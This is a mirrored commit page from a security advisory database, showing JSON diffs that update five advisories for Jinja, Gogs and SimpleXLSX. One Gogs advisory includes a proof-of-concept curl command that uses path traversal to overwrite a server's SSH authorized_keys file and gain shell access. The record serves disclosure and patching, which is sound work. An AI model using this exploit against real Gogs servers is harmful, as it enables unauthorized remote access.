netbird/advisory-database
0
0
Fork 0
mirror of https://github.com/netbirdio/advisory-database.git synced 2026-05-22 18:04:22 -07:00
Code Issues Packages Projects Releases Wiki Activity

Publish Advisories

Browse Source 
GHSA-gmj6-6f8f-6699
GHSA-q2x7-8rv6-6q7h
GHSA-qf5v-rp47-55gg
GHSA-r7j8-5h9c-f6fx
GHSA-r87q-fj25-f8jf
This commit is contained in:
advisory-database[bot]
2024-12-23 20:56:32 +00:00
parent d62f1dc8fb
commit 69c0dddc07
5 changed files with 90 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files
advisories/github-reviewed/2024/12/GHSA-gmj6-6f8f-6699/GHSA-gmj6-6f8f-6699.json
+14 -2
View File
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-gmj6-6f8f-6699",
"modified": "2024-12-23T17:54:12Z",
"modified": "2024-12-23T20:55:02Z",
"published": "2024-12-23T17:54:12Z",
"aliases": [
"CVE-2024-56201"
@@ -43,6 +43,18 @@
"type": "WEB",
"url": "https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56201"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/issues/1792"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pallets/jinja"
@@ -59,6 +71,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T17:54:12Z",
"nvd_published_at": null
"nvd_published_at": "2024-12-23T16:15:07Z"
}
}
advisories/github-reviewed/2024/12/GHSA-q2x7-8rv6-6q7h/GHSA-q2x7-8rv6-6q7h.json
+13 -3
View File
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-q2x7-8rv6-6q7h",
"modified": "2024-12-23T17:56:08Z",
"modified": "2024-12-23T20:55:05Z",
"published": "2024-12-23T17:56:08Z",
"aliases": [
"CVE-2024-56326"
@@ -43,6 +43,14 @@
"type": "WEB",
"url": "https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56326"
},
{
"type": "WEB",
"url": "https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/pallets/jinja"
@@ -53,10 +61,12 @@
}
],
"database_specific": {
"cwe_ids": [],
"cwe_ids": [
"CWE-693"
],
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T17:56:08Z",
"nvd_published_at": null
"nvd_published_at": "2024-12-23T16:15:07Z"
}
}
advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json
+25 -4
View File
@@ -1,14 +1,19 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qf5v-rp47-55gg",
"modified": "2024-12-23T17:53:16Z",
"modified": "2024-12-23T20:54:48Z",
"published": "2024-12-23T17:53:16Z",
"aliases": [
"CVE-2024-55947"
],
"summary": "Path Traversal in file update API in gogs",
"details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"<base64encoded: your ssh pub key>\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n",
"severity": [],
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
}
],
"affected": [
{
"package": {
@@ -35,6 +40,22 @@
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55947"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/issues/7582"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/7859"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
@@ -44,9 +65,9 @@
"cwe_ids": [
"CWE-22"
],
"severity": "CRITICAL",
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T17:53:16Z",
"nvd_published_at": null
"nvd_published_at": "2024-12-23T16:15:07Z"
}
}
advisories/github-reviewed/2024/12/GHSA-r7j8-5h9c-f6fx/GHSA-r7j8-5h9c-f6fx.json
+28 -5
View File
File diff suppressed because one or more lines are too long
advisories/github-reviewed/2024/12/GHSA-r87q-fj25-f8jf/GHSA-r87q-fj25-f8jf.json
+10 -2
View File
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-r87q-fj25-f8jf",
"modified": "2024-12-23T18:18:54Z",
"modified": "2024-12-23T20:55:08Z",
"published": "2024-12-23T18:18:54Z",
"aliases": [
"CVE-2024-56364"
@@ -40,6 +40,14 @@
"type": "WEB",
"url": "https://github.com/shuchkin/simplexlsx/security/advisories/GHSA-r87q-fj25-f8jf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56364"
},
{
"type": "WEB",
"url": "https://github.com/shuchkin/simplexlsx/commit/71a5e3d40d14e33161f8a40b3fd02de542218ef0"
},
{
"type": "PACKAGE",
"url": "https://github.com/shuchkin/simplexlsx"
@@ -52,6 +60,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T18:18:54Z",
"nvd_published_at": null
"nvd_published_at": "2024-12-23T16:15:07Z"
}
}